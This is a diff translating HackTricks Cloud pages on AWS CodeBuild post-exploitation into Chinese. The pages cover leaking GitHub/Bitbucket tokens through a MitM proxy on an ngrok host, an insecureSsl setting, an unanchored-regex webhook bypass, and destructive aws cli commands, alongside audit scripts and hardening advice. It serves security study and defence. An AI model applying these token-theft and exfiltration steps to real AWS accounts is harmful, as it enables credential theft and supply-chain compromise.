mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -1,46 +1,46 @@
|
||||
# AWS - CodeBuild 后期利用
|
||||
# AWS - CodeBuild Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CodeBuild
|
||||
|
||||
有关更多信息,请查看:
|
||||
更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-codebuild-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 检查秘密
|
||||
### Check Secrets
|
||||
|
||||
如果在 Codebuild 中设置了凭据以连接到 Github、Gitlab 或 Bitbucket,形式为个人令牌、密码或 OAuth 令牌访问,这些 **凭据将作为秘密存储在秘密管理器中**。\
|
||||
因此,如果您有权读取秘密管理器,您将能够获取这些秘密并转向连接的平台。
|
||||
如果在 CodeBuild 中为连接 Github、Gitlab 或 Bitbucket 设置了凭证(以 personal tokens、passwords 或 OAuth token access 的形式),这些 **凭证将作为 secrets 存储在 secret manager 中**。\
|
||||
因此,如果你有权限读取 secret manager,你将能够获取这些 secrets 并 pivot 到相应的平台。
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### 滥用 CodeBuild 仓库访问
|
||||
### Abuse CodeBuild Repo Access
|
||||
|
||||
为了配置 **CodeBuild**,它需要 **访问将要使用的代码仓库**。多个平台可能会托管此代码:
|
||||
为了配置 **CodeBuild**,它需要对将要使用的 **code repo** 的访问权限。可能托管这些代码的有多个平台:
|
||||
|
||||
<figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**CodeBuild 项目必须具有** 对配置的源提供程序的访问权限,可以通过 **IAM 角色** 或使用 github/bitbucket **令牌或 OAuth 访问**。
|
||||
**CodeBuild 项目必须有权限访问** 已配置的 source provider,可以通过 **IAM role**,或者使用 github/bitbucket 的 **token 或 OAuth access**。
|
||||
|
||||
具有 **CodeBuild 中提升权限的攻击者** 可以滥用此配置的访问权限,泄露配置仓库的代码以及设置凭据有访问权限的其他仓库。\
|
||||
为了做到这一点,攻击者只需 **将仓库 URL 更改为配置凭据有访问权限的每个仓库**(请注意,aws 网站会为您列出所有仓库):
|
||||
拥有对某个 CodeBuild **提升后的权限** 的攻击者可以滥用该已配置的访问来 leak 配置的 repo 的代码,以及其他被这些 creds 覆盖的仓库。\
|
||||
为此,攻击者只需 **将 repository URL 改为配置凭证有访问权限的每个 repo**(注意 aws web 会为你列出所有这些仓库):
|
||||
|
||||
<figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
并 **更改 Buildspec 命令以提取每个仓库**。
|
||||
并 **修改 Buildspec 的命令以 exfiltrate 每个 repo**。
|
||||
|
||||
> [!WARNING]
|
||||
> 然而,这 **项任务是重复且乏味的**,如果配置了具有 **写权限** 的 github 令牌,攻击者 **将无法(滥)用这些权限**,因为他没有访问令牌。\
|
||||
> 或者他有吗?查看下一部分
|
||||
> 然而,这项 **任务繁琐且重复**,并且如果配置的 github token 具有 **write permissions**,攻击者 **无法(滥用)那些权限**,因为他无法访问该 token。\
|
||||
> 或者他能吗?查看下一节
|
||||
|
||||
### 从 AWS CodeBuild 泄露访问令牌
|
||||
### Leaking Access Tokens from AWS CodeBuild
|
||||
|
||||
您可以泄露在 CodeBuild 中授予的平台访问权限,例如 Github。检查是否授予了对外部平台的任何访问权限:
|
||||
你可以 leak CodeBuild 中授予对 Github 等平台的访问。检查是否授予了对外部平台的访问:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
@@ -48,29 +48,37 @@ aws codebuild list-source-credentials
|
||||
aws-codebuild-token-leakage.md
|
||||
{{#endref}}
|
||||
|
||||
### 通过 webhook 过滤器错误配置导致的不受信任 PR 执行
|
||||
|
||||
如果 webhook 的过滤器配置薄弱,外部攻击者可以让他们的 PR 在具有特权的 CodeBuild 项目中被构建,从而在 CI 中执行任意代码。
|
||||
|
||||
{{#ref}}
|
||||
aws-codebuild-untrusted-pr-webhook-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### `codebuild:DeleteProject`
|
||||
|
||||
攻击者可以删除整个 CodeBuild 项目,导致项目配置丢失,并影响依赖该项目的应用程序。
|
||||
攻击者可能删除整个 CodeBuild 项目,导致项目配置丢失并影响依赖该项目的应用程序。
|
||||
```bash
|
||||
aws codebuild delete-project --name <value>
|
||||
```
|
||||
**潜在影响**:项目配置丢失和使用已删除项目的应用程序服务中断。
|
||||
**Potential Impact**: 项目配置丢失以及使用已删除项目的应用出现服务中断。
|
||||
|
||||
### `codebuild:TagResource` , `codebuild:UntagResource`
|
||||
|
||||
攻击者可以添加、修改或删除CodeBuild资源的标签,从而干扰您组织基于标签的成本分配、资源跟踪和访问控制策略。
|
||||
攻击者可能向 CodeBuild 资源添加、修改或删除标签,从而破坏组织的成本分配、资源跟踪以及基于标签的访问控制策略。
|
||||
```bash
|
||||
aws codebuild tag-resource --resource-arn <value> --tags <value>
|
||||
aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
|
||||
```
|
||||
**潜在影响**:成本分配、资源跟踪和基于标签的访问控制策略的中断。
|
||||
**潜在影响**: 可能会中断成本分配、资源跟踪以及基于标签的访问控制策略。
|
||||
|
||||
### `codebuild:DeleteSourceCredentials`
|
||||
|
||||
攻击者可以删除 Git 存储库的源凭据,影响依赖于该存储库的应用程序的正常运行。
|
||||
攻击者可能会删除 Git 仓库的源凭证,从而影响依赖该仓库的应用程序的正常运行。
|
||||
```sql
|
||||
aws codebuild delete-source-credentials --arn <value>
|
||||
```
|
||||
**潜在影响**:由于源凭据的删除,依赖受影响存储库的应用程序的正常功能受到干扰。
|
||||
**潜在影响**:由于源凭证被移除,依赖受影响仓库的应用程序的正常运行可能会中断。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,45 +4,45 @@
|
||||
|
||||
## 恢复 Github/Bitbucket 已配置的 Tokens
|
||||
|
||||
首先,检查是否存在任何已配置的源凭证,你可能会 leak:
|
||||
首先,检查是否存在任何已配置的 source 凭据,你可以 leak:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
### 通过 Docker Image
|
||||
### 通过 Docker 镜像
|
||||
|
||||
如果你发现例如在账户中设置了对 Github 的认证,你可以通过让 Codebuild 使用一个特定的 docker image 来运行项目构建,从而 **exfiltrate** 那个 **access**(**GH token or OAuth token**)。
|
||||
如果你发现账号中设置了例如 Github 的身份验证,你可以通过让 Codebuild **use an specific docker image** 来运行项目构建,从而**exfiltrate**该**access**(**GH token or OAuth token**)。
|
||||
|
||||
为此你可以 **create a new Codebuild project** 或更改现有项目的 **environment** 来设置 **Docker image**。
|
||||
为此你可以**create a new Codebuild project**或者更改已有项目的**environment**以设置**Docker image**。
|
||||
|
||||
你可以使用的 Docker image 是 [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)。这是一个非常基础的 Docker image,会设置 **env variables `https_proxy`**、**`http_proxy`** 和 **`SSL_CERT_FILE`**。这将允许你拦截位于 **`https_proxy`** 和 **`http_proxy`** 指定主机的大部分流量,并信任 **`SSL_CERT_FILE`** 指定的 SSL 证书。
|
||||
你可以使用的 Docker 镜像是 [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)。这是一个非常基础的 Docker 镜像,会设置**env variables `https_proxy`**、**`http_proxy`**和**`SSL_CERT_FILE`**。这将允许你拦截`https_proxy`和`http_proxy`中指示主机的大部分流量,并信任`SSL_CERT_FILE`中指示的 SSL 证书。
|
||||
|
||||
1. **Create & Upload your own Docker MitM image**
|
||||
- 按照该 repo 的说明设置你的代理 IP 地址并配置 SSL 证书,然后 **build the docker image**。
|
||||
- **DO NOT SET `http_proxy`**,以免拦截到 metadata endpoint 的请求。
|
||||
- 你可以使用 **`ngrok`**,例如 `ngrok tcp 4444`,将代理指向你的主机。
|
||||
- 一旦构建好 Docker image,**upload it to a public repo**(Dockerhub, ECR...)
|
||||
- 按照该仓库的说明设置你的代理 IP 地址并设置你的 SSL 证书,**build the docker image**。
|
||||
- **DO NOT SET `http_proxy`**,以免拦截对 metadata endpoint 的请求。
|
||||
- 你可以使用 **`ngrok`**,例如 `ngrok tcp 4444` 来将代理指向你的主机
|
||||
- 一旦你构建好 Docker 镜像,**upload it to a public repo**(Dockerhub、ECR...)
|
||||
2. **Set the environment**
|
||||
- 创建一个 **new Codebuild project** 或 **modify** 现有项目的 environment。
|
||||
- **Create a new Codebuild project** 或 **modify** 已有项目的 environment。
|
||||
- 将项目设置为使用 **previously generated Docker image**
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **Set the MitM proxy in your host**
|
||||
|
||||
- 如 **Github repo** 中所示,你可以使用类似如下的方式:
|
||||
- 如 **Github repo** 中所示,你可以使用类似:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
> [!TIP]
|
||||
> 使用的 **mitmproxy 版本是 9.0.1**,有报告称在版本 10 上这可能无法工作。
|
||||
> **mitmproxy 使用的版本是 9.0.1**,据报道在版本 10 上可能无法工作。
|
||||
|
||||
4. **运行构建并捕获凭证**
|
||||
|
||||
- 你可以在 **Authorization** header 中看到 token:
|
||||
- 你可以在 **Authorization** 头中看到 token:
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
这也可以通过 aws cli 来完成,例如:
|
||||
这也可以通过 aws cli 使用类似的命令完成:
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
@@ -73,14 +73,14 @@ aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
### 通过 insecureSSL
|
||||
|
||||
**Codebuild** 项目有一个名为 **`insecureSsl`** 的设置,该设置在 web 中是隐藏的,只能通过 **API** 更改。\
|
||||
启用后,允许 **Codebuild** 在不验证平台提供的证书的情况下连接到该 **repository**。
|
||||
**Codebuild** 项目有一个名为 **`insecureSsl`** 的设置,该设置在网页界面中隐藏,你只能通过 API 修改。\
|
||||
启用该设置后,Codebuild 将能够连接到仓库 **而不验证平台提供的证书**。
|
||||
|
||||
- 首先你需要 enumerate 当前配置,类似如下:
|
||||
- 首先你需要用类似的命令枚举当前配置:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
- 然后,使用收集到的信息你可以将项目设置 **`insecureSsl`** 更新为 **`True`**。下面是我更新项目的示例,注意末尾的 **`insecureSsl=True`**(这是从收集到的配置中你需要更改的唯一项)。
|
||||
- 然后,使用收集到的信息,你可以将项目设置 **`insecureSsl`** 更新为 **`True`**。下面是我更新一个项目的示例,注意最后的 **`insecureSsl=True`**(这是你需要从收集到的配置中修改的唯一内容)。
|
||||
- 此外,还要添加环境变量 **http_proxy** 和 **https_proxy**,指向你的 tcp ngrok,如下所示:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
|
||||
]
|
||||
}'
|
||||
```
|
||||
- 然后,在由代理变量 (http_proxy 和 https_proxy) 指定的端口上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例
|
||||
- 然后,在由代理变量 (http_proxy 和 https_proxy) 指向的端口上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- 最后,点击 **Build the project**,**credentials** 将以明文(base64)发送到 mitm 端口:
|
||||
- 最后,点击 **构建项目**,**凭证** 将以 **明文**(base64)发送到 mitm 端口:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~Via HTTP protocol~~
|
||||
### ~~通过 HTTP 协议~~
|
||||
|
||||
> [!TIP] > **此漏洞在 2023 年 2 月 20 日那周的某个时间被 AWS 修复(我记得是周五)。因此攻击者现在无法再利用它 :)**
|
||||
> [!TIP] > **该漏洞在 2023 年 2 月 20 日那周的某个时间由 AWS 修复(我记得是周五)。因此攻击者现在无法再滥用它 :)**
|
||||
|
||||
具有对 CodeBuild 提升权限的攻击者可能会 leak 已配置的 Github/Bitbucket token;或者如果权限是通过 OAuth 配置的,可能会 leak 用于访问代码的临时 OAuth token。
|
||||
具有提升权限的攻击者在某个 CodeBuild 中可以 **leak 配置的 Github/Bitbucket token**,或者如果权限是通过 OAuth 配置的,则可以 **用于访问代码的临时 OAuth token**。
|
||||
|
||||
- 攻击者可以在 CodeBuild 项目中添加环境变量 **http_proxy** 和 **https_proxy**,指向其机器(例如 `http://5.tcp.eu.ngrok.io:14972`)。
|
||||
- 攻击者可以向 CodeBuild 项目添加环境变量 **http_proxy** 和 **https_proxy**,指向他的机器(例如 `http://5.tcp.eu.ngrok.io:14972`)。
|
||||
|
||||
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- 然后,将 github 仓库的 URL 从 HTTPS 改为 HTTP,例如:`http://github.com/carlospolop-forks/TestActions`
|
||||
- 然后,在由代理变量(http_proxy 和 https_proxy)指向的端口上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例。
|
||||
- 然后,在代理变量(http_proxy 和 https_proxy)指向的端口运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例。
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -158,32 +158,23 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- 接下来,点击 **Build the project** 或从命令行启动构建:
|
||||
- 接下来,点击 **构建项目** 或从命令行启动构建:
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
- 最终,**credentials** 将以**明文**(base64)发送到 mitm 端口:
|
||||
- 最后,**credentials** 将以 **明文** (base64) 发送到 mitm 端口:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> 现在攻击者将能够在其机器上使用 token,列出它拥有的所有权限,并且比直接使用 CodeBuild 服务更容易对其进行(滥)用。
|
||||
> 现在 attacker 将能够从他的机器上使用该 token,列出它拥有的所有 privileges 并比直接使用 CodeBuild 服务更容易地 (ab)use。
|
||||
|
||||
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
|
||||
## 通过 webhook filter misconfiguration 导致的 Untrusted PR execution
|
||||
|
||||
使用未加锚定 `ACTOR_ID` regex 的错误配置 CodeBuild GitHub webhooks 会允许 *untrusted* PR 启动特权构建。如果 allowlist 像 `123456|7890123` 且没有 `^`/`$`,任何包含这些子串之一的 ID 都会匹配。由于 GitHub 用户 ID 是顺序分配的,攻击者可以竞争注册一个 “eclipsing” ID(受信 ID 的超串),并触发构建。
|
||||
对于 PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution),请查看:
|
||||
|
||||
**利用路径**
|
||||
|
||||
1. 找到公开的 CodeBuild 项目,这些项目暴露了 webhook 过滤器并提取未加锚定的 `ACTOR_ID` allowlist。
|
||||
2. 获取一个 eclipsing GitHub ID:
|
||||
- 通过创建/删除 GitHub 组织来采样全局 ID 计数器(org IDs 与用户 ID 共享池)。
|
||||
- 预先排队大量 GitHub App manifest 的创建,并在计数器接近目标约 ~100 个 ID 时触发确认 URL,以突发注册一个包含受信子串的 bot ID。
|
||||
3. 使用该 eclipsing 账户打开 PR;regex 会匹配该子串,从而触发特权构建运行。
|
||||
4. 利用构建时的 RCE(例如,依赖安装的 hooks)转储处理 GitHub credential 的进程内存并恢复 PAT/OAuth token。
|
||||
5. 使用该 token 的 `repo` scope,将你的账号邀请为 collaborator/admin,然后推送/批准恶意提交或外发 secrets。
|
||||
|
||||
## References
|
||||
- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
{{#ref}}
|
||||
aws-codebuild-untrusted-pr-webhook-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,235 @@
|
||||
# AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
当一个面向公众的 **PR 工作流** 连接到具有弱 webhook 控制的 **特权 CodeBuild 项目** 时,会出现这种攻击向量。
|
||||
|
||||
如果外部攻击者能让 CodeBuild 执行他们的 pull request,通常可以在构建过程中获得 **任意代码执行**(构建脚本、依赖钩子、测试脚本等),然后横向攻击以获取 secrets、IAM 凭证或源提供商凭证。
|
||||
|
||||
## Why this is dangerous
|
||||
|
||||
CodeBuild 的 webhook 过滤器(对于非 `EVENT` 过滤器)使用 regex 模式进行评估。在 `ACTOR_ACCOUNT_ID` 过滤器中,这意味着弱模式可能匹配比预期更多的用户。
|
||||
如果在具有特权 AWS 角色权限或 GitHub 凭证的项目中构建不受信任的 PR,这可能演变为完整的供应链妥协。
|
||||
|
||||
Wiz 展示了一个实际的链条,其中:
|
||||
|
||||
1. 一个 webhook actor allowlist 使用了 **未加锚点的 regex**。
|
||||
2. 攻击者注册了一个 GitHub ID,作为受信任 ID 的 **superstring** 被匹配。
|
||||
3. 一个恶意 PR 触发了 CodeBuild。
|
||||
4. 构建中的代码执行被用来转储内存并恢复源提供商凭证/令牌。
|
||||
|
||||
## Misconfigurations that allow external PR code execution
|
||||
|
||||
下面是高风险的错误以及攻击者如何滥用每一种:
|
||||
|
||||
1. **`EVENT` filters allow untrusted triggers**
|
||||
- 常见的高风险事件:`PULL_REQUEST_CREATED`, `PULL_REQUEST_UPDATED`, `PULL_REQUEST_REOPENED`.
|
||||
- 其他如果与特权构建关联也可能变得危险的事件:`PUSH`, `PULL_REQUEST_CLOSED`, `PULL_REQUEST_MERGED`, `RELEASED`, `PRERELEASED`, `WORKFLOW_JOB_QUEUED`.
|
||||
- 不良示例:在特权项目中使用 `EVENT="PUSH, PULL_REQUEST_CREATED, PULL_REQUEST_UPDATED"`。
|
||||
- 更好:对特权项目使用 PR 评论审批并尽量减少触发事件。
|
||||
- 滥用:攻击者打开/更新 PR 或向其控制的分支 push,他们的代码在 CodeBuild 中执行。
|
||||
|
||||
2. **`ACTOR_ACCOUNT_ID` regex is weak**
|
||||
- 不良示例:像 `123456|7890123` 这样的未锚定模式。
|
||||
- 更好:使用精确匹配锚定 `^(123456|7890123)$`。
|
||||
- 滥用:regex 过度匹配允许未授权的 GitHub ID 通过允许列表。
|
||||
|
||||
3. **Other regex filters are weak or missing**
|
||||
- `HEAD_REF`
|
||||
- 不良示例:`refs/heads/.*`
|
||||
- 更好:`^refs/heads/main$`(或显式的受信任列表)
|
||||
- `BASE_REF`
|
||||
- 不良示例:`.*`
|
||||
- 更好:`^refs/heads/main$`
|
||||
- `FILE_PATH`
|
||||
- 不良示例:没有路径限制
|
||||
- 更好:排除高风险文件,例如 `^buildspec\\.yml$`, `^\\.github/workflows/.*`, `(^|/)package(-lock)?\\.json$`
|
||||
- `COMMIT_MESSAGE`
|
||||
- 不良示例:像 `trusted` 这样宽松匹配的信任标记
|
||||
- 更好:不要将提交信息用作 PR 执行的信任边界
|
||||
- `REPOSITORY_NAME` / `ORGANIZATION_NAME`
|
||||
- 不良示例:在 org/全局 webhook 中使用 `.*`
|
||||
- 更好:仅精确匹配仓库/组织
|
||||
- `WORKFLOW_NAME`
|
||||
- 不良示例:`.*`
|
||||
- 更好:仅精确的 workflow 名称匹配(或避免将其作为信任控制)
|
||||
- 滥用:攻击者构造 ref/路径/提交信息/仓库上下文以满足宽松的 regex 并触发构建。
|
||||
|
||||
4. **`excludeMatchedPattern` is misused**
|
||||
- 错误设置此标志可能会将意图逻辑反转。
|
||||
- 不良示例:使用 `FILE_PATH '^buildspec\\.yml$'` 并将 `excludeMatchedPattern=false`,而本意是阻止对 buildspec 的更改。
|
||||
- 更好:对同一模式使用 `excludeMatchedPattern=true` 来拒绝触及 `buildspec.yml` 的构建。
|
||||
- 滥用:防御者以为他们阻止了高风险事件/路径/actor,实际上却允许了。
|
||||
|
||||
5. **Multiple `filterGroups` create accidental bypasses**
|
||||
- CodeBuild 将组作为 OR 进行评估(通过任一组即可)。
|
||||
- 不良示例:一个严格组 + 一个宽松的回退组(例如只有 `EVENT=PULL_REQUEST_UPDATED`)。
|
||||
- 更好:移除不强制 actor/ref/path 约束的回退组。
|
||||
- 滥用:攻击者只需满足最弱的组。
|
||||
|
||||
6. **Comment approval gate disabled or too permissive**
|
||||
- `pullRequestBuildPolicy.requiresCommentApproval=DISABLED` 是最不安全的。
|
||||
- 过于宽泛的批准者角色会降低控制力度。
|
||||
- 不良示例:`requiresCommentApproval=DISABLED`。
|
||||
- 更好:使用 `ALL_PULL_REQUESTS` 或 `FORK_PULL_REQUESTS` 并限制批准者角色。
|
||||
- 滥用:fork/drive-by PR 自动运行,无需受信任维护者批准。
|
||||
|
||||
7. **No restrictive branch/path strategy for PR builds**
|
||||
- 缺少通过 `HEAD_REF` + `BASE_REF` + `FILE_PATH` 的纵深防御。
|
||||
- 不良示例:只有 `EVENT` + `ACTOR_ACCOUNT_ID`,没有 ref/path 控制。
|
||||
- 更好:结合精确的 `ACTOR_ACCOUNT_ID` + `BASE_REF` + `HEAD_REF` + `FILE_PATH` 限制。
|
||||
- 滥用:攻击者修改构建输入(buildspec/CI/依赖)并获得任意命令执行。
|
||||
|
||||
8. **Public visibility + status URL exposure**
|
||||
- 公开的构建/检查 URL 提高了攻击者的侦察和迭代测试能力。
|
||||
- 不良示例:`projectVisibility=PUBLIC_READ`,且在公开构建中有敏感日志/配置。
|
||||
- 更好:除非有强烈的业务需求,否则保持项目私有,并对日志/构件进行清理。
|
||||
- 滥用:攻击者发现项目模式/行为,然后调整有效载荷和绕过尝试。
|
||||
|
||||
## Token leakage from memory
|
||||
|
||||
Wiz 的报告解释了源提供商凭证存在于构建运行时上下文中,并且在构建被攻破后可以被窃取(例如通过 memory dumping),如果权限范围过大则可导致仓库接管。
|
||||
|
||||
AWS 在漏洞披露后引入了加固,但核心教训依然是:**永远不要在特权构建上下文中执行不受信任的 PR 代码**,并假定攻击者控制的构建代码会尝试窃取凭证。
|
||||
|
||||
For additional credential theft techniques in CodeBuild, also check:
|
||||
|
||||
{{#ref}}
|
||||
aws-codebuild-token-leakage.md
|
||||
{{#endref}}
|
||||
|
||||
## Finding CodeBuild URLs in GitHub PRs
|
||||
|
||||
如果 CodeBuild 将提交状态报告回 GitHub,CodeBuild 构建 URL 通常出现在:
|
||||
|
||||
1. **PR 页面** -> **Checks** 选项卡(或 Conversation/Commits 中的状态行)。
|
||||
2. **Commit 页面** -> 状态/检查部分 -> **Details** 链接。
|
||||
3. **PR commits 列表** -> 点击附加在提交上的检查上下文。
|
||||
|
||||
对于公共项目,该链接可能会向未认证用户暴露构建元数据/配置。
|
||||
|
||||
<details>
|
||||
<summary>脚本:在 PR 中检测 CodeBuild URL 并测试它们是否看起来是公开的</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Usage:
|
||||
# ./check_pr_codebuild_urls.sh <owner> <repo> <pr_number>
|
||||
#
|
||||
# Requirements: gh, jq, curl
|
||||
|
||||
OWNER="${1:?owner}"
|
||||
REPO="${2:?repo}"
|
||||
PR="${3:?pr_number}"
|
||||
|
||||
for bin in gh jq curl timeout; do
|
||||
command -v "$bin" >/dev/null || { echo "[!] Missing dependency: $bin" >&2; exit 1; }
|
||||
done
|
||||
|
||||
tmp_commits="$(mktemp)"
|
||||
tmp_urls="$(mktemp)"
|
||||
trap 'rm -f "$tmp_commits" "$tmp_urls"' EXIT
|
||||
|
||||
gh_api() {
|
||||
timeout 20s gh api "$@" 2>/dev/null || true
|
||||
}
|
||||
|
||||
# Get all commit SHAs in the PR (bounded call to avoid hangs)
|
||||
gh_api "repos/${OWNER}/${REPO}/pulls/${PR}/commits" --paginate --jq '.[].sha' > "$tmp_commits"
|
||||
if [ ! -s "$tmp_commits" ]; then
|
||||
echo "[!] No commits found (or API call timed out/failed)." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[*] PR commits:"
|
||||
cat "$tmp_commits"
|
||||
echo
|
||||
|
||||
echo "[*] Searching commit statuses/check-runs for CodeBuild URLs..."
|
||||
|
||||
while IFS= read -r sha; do
|
||||
[ -z "$sha" ] && continue
|
||||
|
||||
# Classic commit statuses (target_url)
|
||||
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/status" \
|
||||
--jq '.statuses[]? | .target_url // empty' 2>/dev/null || true
|
||||
|
||||
# GitHub Checks API (details_url)
|
||||
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/check-runs" \
|
||||
--jq '.check_runs[]? | .details_url // empty' 2>/dev/null || true
|
||||
done < "$tmp_commits" | sort -u > "$tmp_urls"
|
||||
|
||||
grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true
|
||||
|
||||
echo
|
||||
echo "[*] Public-access heuristic:"
|
||||
echo " - If URL redirects to signin.aws.amazon.com -> likely not public"
|
||||
echo " - If URL is directly reachable (HTTP 200) without auth redirect -> potentially public"
|
||||
echo
|
||||
|
||||
cb_urls="$(grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true)"
|
||||
if [ -z "$cb_urls" ]; then
|
||||
echo "[*] No CodeBuild URLs found in PR statuses/check-runs."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
while IFS= read -r url; do
|
||||
[ -z "$url" ] && continue
|
||||
final_url="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{url_effective}' "$url" || true)"
|
||||
code="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{http_code}' "$url" || true)"
|
||||
|
||||
if echo "$final_url" | grep -qi 'signin\.aws\.amazon\.com'; then
|
||||
verdict="NOT_PUBLIC_OR_AUTH_REQUIRED"
|
||||
elif [ "$code" = "200" ]; then
|
||||
verdict="POTENTIALLY_PUBLIC"
|
||||
else
|
||||
verdict="UNKNOWN_CHECK_MANUALLY"
|
||||
fi
|
||||
|
||||
printf '%s\t%s\t%s\n' "$verdict" "$code" "$url"
|
||||
done <<< "$cb_urls"
|
||||
```
|
||||
已在以下环境测试通过:
|
||||
```bash
|
||||
bash /tmp/check_pr_codebuild_urls.sh carlospolop codebuild-codebreach-ctf-lab 1
|
||||
```
|
||||
</details>
|
||||
|
||||
## 快速审计检查表
|
||||
```bash
|
||||
# Enumerate projects
|
||||
aws codebuild list-projects
|
||||
|
||||
# Inspect source/webhook configuration
|
||||
aws codebuild batch-get-projects --names <project-name>
|
||||
|
||||
# Inspect global source credentials configured in account
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
检查每个项目是否存在:
|
||||
|
||||
- `webhook.filterGroups` containing PR events.
|
||||
- `ACTOR_ACCOUNT_ID` patterns that are not anchored with `^...$`.
|
||||
- `pullRequestBuildPolicy.requiresCommentApproval` equal to `DISABLED`.
|
||||
- Missing branch/path restrictions.
|
||||
- High-privilege `serviceRole`.
|
||||
- Risky source credentials scope and reuse.
|
||||
|
||||
## 加固建议
|
||||
|
||||
1. 要求 PR 构建的评论审批(`ALL_PULL_REQUESTS` 或 `FORK_PULL_REQUESTS`)。
|
||||
2. If using actor allowlists,锚定正则并保持精确匹配。
|
||||
3. Add `FILE_PATH` restrictions to avoid untrusted edits to `buildspec.yml` and CI scripts.
|
||||
4. 将受信任的发布构建与不受信任的 PR 构建分离到不同的项目/角色。
|
||||
5. Use fine-grained, least-privileged source-provider tokens(prefer dedicated low-privilege identities)。
|
||||
6. 持续审计 webhook filters 和 source credential 的使用。
|
||||
|
||||
## References
|
||||
|
||||
- [Wiz: CodeBreach - AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
- [AWS CodeBuild API - WebhookFilter](https://docs.aws.amazon.com/codebuild/latest/APIReference/API_WebhookFilter.html)
|
||||
- [AWS CLI - codebuild create-webhook](https://docs.aws.amazon.com/cli/latest/reference/codebuild/create-webhook.html)
|
||||
- [AWS CodeBuild User Guide - Best practices for webhooks](https://docs.aws.amazon.com/codebuild/latest/userguide/webhooks.html)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user